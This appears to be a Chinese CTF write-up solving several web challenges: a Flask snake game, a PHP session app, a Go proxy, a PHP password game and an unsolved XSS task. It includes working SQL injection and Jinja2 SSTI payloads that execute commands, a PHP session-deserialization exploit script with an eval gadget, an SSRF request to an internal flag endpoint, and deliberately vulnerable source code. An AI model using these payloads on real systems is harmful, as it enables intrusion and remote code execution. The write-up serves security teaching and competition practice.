});
}
实际无用,因为那边的返回包里面不带data.url
于是嗯玩50分后跳转到了 /snake_win?username=
发现username存在sql注入,测试了下发现数据库是sqlite,单引号闭合
1'order+by+3--
1'order+by+4--
共3列回显位
0'+union+select+1,2,3--
best time处回显第3列
查数据库名
0'+union+select+1,2,name+from+sqlite_master--
得到sqlite_autoindex_users_1
查表名
0'+union+select+1,2,name+from+sqlite_master+where+type='table'--
得到sqlite_sequence
查列名
0'+union+select+1,2,sql+from+sqlite_master+where+type='table'and+name='sqlite_sequence'--
得到CREATE TABLE sqlite_sequence(name,seq)
没啥用
因为是python起的服务,测试一下ssti,发现在 best time 处存在ssti
0'+union+select+1,2,"{{7*7}}"--
那直接rce了
0'+union+select+1,2,"{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('cat+/flag').read()}}"--
app.py
from flask import Flask, render_template, jsonify, request, session, redirect
import random
import sqlite3
import time
from jinja2 import Template
app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.secret_key = 'your_secret_key'
# 初始化数据库
def init_db():
conn = sqlite3.connect('users.db')
c = conn.cursor()
c.execute('''
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
best_time REAL DEFAULT 0
)
''')
conn.commit()
conn.close()
# 查询用户
def get_user(username):
conn = sqlite3.connect('users.db')
c = conn.cursor()
c.execute("SELECT * FROM users WHERE username = '" + username + "'")
user = c.fetchone()
conn.close()
return user
# 添加或更新用户
def add_or_update_user(username, best_time=None):
conn = sqlite3.connect('users.db')
c = conn.cursor()
user = get_user(username)
if user:
if best_time and (user[2] == 0 or best_time < user[2]):
c.execute('UPDATE users SET best_time = ? WHERE username = ?', (best_time, username))
else:
c.execute('INSERT INTO users (username, best_time) VALUES (?, ?)', (username, best_time or 0))
conn.commit()
conn.close()
# 初始化游戏状态
def reset_game():
global snake, direction, food, score, start_time
snake = [(10, 10)]
direction = 'RIGHT'
food = (random.randint(0, 19), random.randint(0, 19))
score = 0
start_time = time.time()
init_db()
@app.route('/')
def index():
if 'username' not in session:
return render_template('index.html')
reset_game()
return render_template('game.html', username=session['username'])
@app.route('/set_username', methods=['POST'])
def set_username():
username = request.form.get('username')
add_or_update_user(username)
session['username'] = username
return jsonify({'status': 'success'})
@app.route('/move', methods=['POST'])
def move():
global snake, direction, food, score, start_time
# 获取新的方向
new_direction = request.json.get('direction')
# 更新方向
if new_direction in ['UP', 'DOWN', 'LEFT', 'RIGHT']:
direction = new_direction
# 计算新位置
head_x, head_y = snake[0]
if direction == 'UP':
head_y -= 1
elif direction == 'DOWN':
head_y += 1
elif direction == 'LEFT':
head_x -= 1
elif direction == 'RIGHT':
head_x += 1
# 检查碰撞
if head_x < 0 or head_x >= 20 or head_y < 0 or head_y >= 20 or (head_x, head_y) in snake:
reset_game()
return jsonify({'status': 'game_over', 'score': score})
# 添加新头部
snake.insert(0, (head_x, head_y))
# 检查是否吃到食物
if (head_x, head_y) == food:
score += 1
while True:
food = (random.randint(0, 19), random.randint(0, 19))
if food not in snake:
break
else:
snake.pop()
# 检查是否通关
if score >= 50:
elapsed_time = time.time() - start_time
add_or_update_user(session['username'], elapsed_time)
return jsonify({'status': 'win', 'url': f"/snake_win?username={session['username']}"})
return jsonify({'status': 'ok', 'snake': snake, 'food': food, 'score': score})
@app.route('/snake_win')
def win():
username = request.args.get('username')
user = get_user(username)
best_time = user[2] if user else 0
f = open('templates/win.html','r', encoding='utf-8')
content = f.read().replace("{{ best_time }}",str(best_time))
f.close()
t = Template(content)
return t.render(username=username)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
platform
扫出www.zip
dashboard.php
<p>你好,<?php echo htmlspecialchars($_SESSION['user']); ?>!</p>
看一下index.php
<?php
session_start();
require 'user.php';
require 'class.php';
$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION['user'] = $username;
if (!isset($_SESSION['session_key'])) {
$_SESSION['session_key'] =$SessionRandom -> generateRandomString();
}
$_SESSION['password'] = $password;
$result = $sessionManager->filterSensitiveFunctions();
header('Location: dashboard.php');
exit();
} else {
require 'login.php';
}
class.php
<?php
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}
class SessionRandom {
public function generateRandomString() {
$length = rand(1, 50);
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
}
class SessionManager {
private $sessionPath;
private $sessionId;
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];
public function __construct() {
if (session_status() == PHP_SESSION_NONE) {
throw new Exception("Session has not been started. Please start a session before using this class.");
}
$this->sessionPath = session_save_path();
$this->sessionId = session_id();
}
private function getSessionFilePath() {
return $this->sessionPath . "/sess_" . $this->sessionId;
}
public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();
if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);
foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
}
}
file_put_contents($sessionFile, $sessionData);
return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
}
很明显我们的目标是 notouchitsclass 类,那么重点就在这里的$result = $sessionManager->filterSensitiveFunctions();
了
class SessionManager {
private $sessionPath;
private $sessionId;
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];
public function __construct() {
if (session_status() == PHP_SESSION_NONE) {
throw new Exception("Session has not been started. Please start a session before using this class.");
}
$this->sessionPath = session_save_path();
$this->sessionId = session_id();
}
private function getSessionFilePath() {
return $this->sessionPath . "/sess_" . $this->sessionId;
}
public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();
if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);
foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
}
}
file_put_contents($sessionFile, $sessionData);
return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
}
一眼 str_replace 的替换关键词,直接双写或者拼接绕过
而我们只有 sessionId 可控,打session反序列化
O:15:"notouchitsclass":1:{s:4:"data";s:24:"('sys'.'tem')($_GET[0]);";}
问题是只靠 user 或者 password 都无法凑出正确的序列化格式,注意到还有个 session 里面还有 session_key 可以用,尝试覆盖 session_key 来传入一个完整的序列化字符串
然后在 user 处利用 replace 替换实现字符串逃逸,增加 user 的长度来使内容包裹形如";session_key|s:26:"y4jqJ94NGupXb3haeJPiRwH2Gt";password|s:96:
,共逃逸62位
另一个问题是不清楚原有的 session_key 长度是多少,不过这个问题可以通过爆破来解决,直接给username传入popenpopenpopenpopenpopenpopenpopenpopenpopenpopen
预期覆盖50位
password传入前后闭合的序列化字符串
payload:
{
'password':
';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"(\'sys\'.\'tem\')($_GET[0]);";}password|s:1:"a',
'username': 'popenpopenpopenpopenpopenpopenpopenpopenpopenpopen'
}
exp:
import requests
params = {'0': "ls+/"}
data = {
'password':
';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"(\'sys\'.\'tem\')($_GET[0]);";}password|s:1:"a',
'username': 'popenpopenpopenpopenpopenpopenpopenpopenpopenpopen'
}
url = "http://eci-2zealtn2xy2kvfyzdnk4.cloudeci1.ichunqiu.com/"
while 1:
r = requests.session()
response1 = res.post(url + '/index.php',
params=params,
data=data,
allow_redirects=False)
response2 = res.post(url + '/index.php',
params=params,
data=data,
allow_redirects=False)
response3 = res.post(url + '/dashboard.php?0=ls+/', allow_redirects=False)
if "flag" in response3.text:
print(response3.text)
print(res.cookies)
break
res.close()
直接/readflag
Proxy
main.go
package main
import (
"bytes"
"io"
"net/http"
"os/exec"
"github.com/gin-gonic/gin"
)
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
func main() {
r := gin.Default()
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}
c.Writer.Write(body)
c.Abort()
})
}
r.Run("127.0.0.1:8769")
}
proxy.conf
server {
listen 8000;
location ~ /v1 {
return 403;
}
location ~ /v2 {
proxy_pass http://localhost:8769;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
以 v1 开头请求会返回403,以 /v2
开头的请求会代理转发到 localhost:8769
那意思就是要我们通过代理访问 v1
构造请求访问
POST /v2/api/proxy HTTP/1.1
Host: 39.107.90.219:36870
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 109
{"url":"http://127.0.0.1:8769/v1/api/flag",
"method":"POST",
"body":"",
"headers":{},
"follow_redirects":false}
Password Game
只有3秒时间反应,不然会被重定向会index.php
直接抓包开测
Rule 1: 请至少包含数字和大小写字母
Rule 2: 密码中所有数字之和必须为9的倍数
Rule 3: 请密码中包含下列算式的解(如有除法,则为整除): 14904 + 25
Rule 4: 密码长度不能超过170
rule2 和 rule3 会变,重新登录可以roll这些rule,roll个倍数低的比较容易配
POST /game.php HTTP/1.1
Host: eci-2zeg97hlr4shqg4ot30a.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://eci-2zeg97hlr4shqg4ot30a.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zeg97hlr4shqg4ot30a.cloudeci1.ichunqiu.com/game.php
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1722006294,1723623724,1723858266; PHPSESSID=ubo7v7c3m3dn091u6pmida52n8
Upgrade-Insecure-Requests: 1
password=qwe14929A2
拿到源码
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
链子很简单,但是绕过限制就要考虑的多了,然后仔细一看发现怎么guest类里是$value()
不是this->$value()
,那链子断了啊
而且 __get() 找一圈下来发现链子进不去
题目提示:正确的解不会经过错误的代码,请观察一下是否能篡改可以输出的地方。
发现直接$a=new root();$a->test="";
就可以触发 __get
那么可以利用引用把 root 的 value 赋值给 user 的 username
payload:
<?php
class guest{
public $username;
public $value;
}
class root{
public $username;
public $value="2024qwb";
}
class user{
public $username;
public $password;
public $value="qwe1077050A6";
}
$a=new root();
$a->test=new user();
$a->test->username=&$a->value;
echo serialize($a);
// O:4:"root":3:{s:8:"username";N;s:5:"value";s:7:"2024qwb";s:4:"test";O:4:"user":3:{s:8:"username";R:3;s:8:"password";N;s:5:"value";s:12:"qwe1077050A6";}}
然后把 2024qwb 那段用十六进制绕过:S:7:"2024q\77b"
EzCalc(Unsolved)
一眼xss
先看一下flag的位置,在bot.ts
const result = await page.evaluate(() => {
const span = document.querySelector('.ant-alert-message');
if (!span) {
return false;
}
return span.textContent === '114514';
});
if (result) {
await page.close();
page = await browser.newPage();
await page.goto(`https://${APP_HOST}/`, { waitUntil: 'networkidle2' });
await sleep(1000);
await page.focus('input');
await page.keyboard.type(`"${readFileSync('/bot/flag', 'utf-8')}"`, { delay: 100 });
await sleep(100);
await page.click('button');
await sleep(1000);
}
bot 会找类名为 .ant-alert-message 的元素,然后重启一个页面,往输入框里面填 flag 并提交
接下来我们找一下 bot 交互的地方
r.POST("/api/report", func(c *gin.Context) {
var req ReportRequest
if err := c.BindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
report := Report{
ID: uuid.New().String(),
Expression: req.Expression,
Result: req.Result,
Email: req.Email,
Comment: req.Comment,
CheckResult: "waiting",
}
for _, id := range req.Screenshots {
var screenshot Screenshot
if err := db.Where("id = ?", id).First(&screenshot).Error; err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Screenshot not found"})
return
}
if screenshot.ReportID != "" {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Screenshot already associated with a report"})
return
}
screenshot.ReportID = report.ID
if err := db.Save(&screenshot).Error; err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
}
if err := db.Create(&report).Error; err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
reportMutex.Lock()
if reportGoroutineCount >= 32 {
reportMutex.Unlock()
c.JSON(http.StatusTooManyRequests, gin.H{"status": "error", "message": "Too many requests"})
return
}
reportMutex.Unlock()
go func() {
reportMutex.Lock()
reportGoroutineCount++
reportMutex.Unlock()
defer func() {
reportMutex.Lock()
reportGoroutineCount--
reportMutex.Unlock()
}()
req, err := http.NewRequest("GET", "http://bot:52000/api/bot", nil)
if err != nil {
report.CheckResult = "error"
db.Save(&report)
return
}
q := req.URL.Query()
q.Add("expr", report.Expression)
req.URL.RawQuery = q.Encode()
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
report.CheckResult = "error"
db.Save(&report)
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
report.CheckResult = "error"
db.Save(&report)
return
}
resBody, err := io.ReadAll(resp.Body)
if err != nil {
report.CheckResult = "error"
db.Save(&report)
return
}
report.CheckResult = string(resBody)
db.Save(&report)
}()
c.JSON(http.StatusOK, gin.H{"status": "ok", "data": gin.H{"id": report.ID}})
})
index.ts
import express from 'express';
import { Request, Response, NextFunction } from 'express';
import { botHandler } from './bot';
const asyncHandler = func => (req: Request, res: Response, next: NextFunction) => {
return Promise
.resolve(func(req, res, next))
.catch(next);
};
const main = async () => {
const app = express();
app.use(express.json());
app.get('/api/bot', asyncHandler(botHandler));
app.use((err: any, req: any, res: any, next: any) => {
if (err) {
console.error(`[-] Error processing request ${(req as any).id}: ${err}`);
console.error(err.stack);
res.status(500).json({ status: 'error', message: 'Internal server error', data: { id: (req as any).id } });
} else {
next();
}
});
app.on('close', () => {
process.exit(0);
});
app.listen(52000, () => {
console.log('[+] Bot server started');
});
}
main();
在这里会给内网的 bot 发请求
r.GET("/api/report/:id", func(c *gin.Context) {
id := c.Param("id")
var report Report
if err := db.Where("id = ?", id).First(&report).Error; err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Report not found"})
return
}
var screenshots []Screenshot
if err := db.Where("report_id = ?", id).Find(&screenshots).Error; err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"status": "ok", "data": gin.H{"report": report, "screenshots": screenshots}})
})
r.NoRoute(func(c *gin.Context) {
c.HTML(http.StatusOK, "index.tpl", gin.H{
"nonce": c.MustGet("nonce"),
})
})
普通的查询,猜测等会用来带外
需要注意的是这里设置了csp
r.Use(func(c *gin.Context) {
host := c.Request.Host
if host == "" {
c.JSON(http.StatusBadRequest, "Bad Request")
c.Abort()
return
}
nonce := RandStringRunes(32)
c.Set("nonce", nonce)
c.Header("Content-Security-Policy", fmt.Sprintf("default-src 'none'; script-src 'self' 'unsafe-eval' 'nonce-%s'; style-src 'unsafe-inline' 'self'; img-src 'self' data: blob:; connect-src 'self'; frame-src 'none'; base-uri 'none'; manifest-src 'none'; object-src 'none';", nonce))
c.Header("X-Content-Type-Options", "nosniff")
c.Header("X-Frame-Options", "DENY")
c.Header("Cross-Origin-Opener-Policy", "same-origin")
c.Next()
})
拉满,太好了我们没救了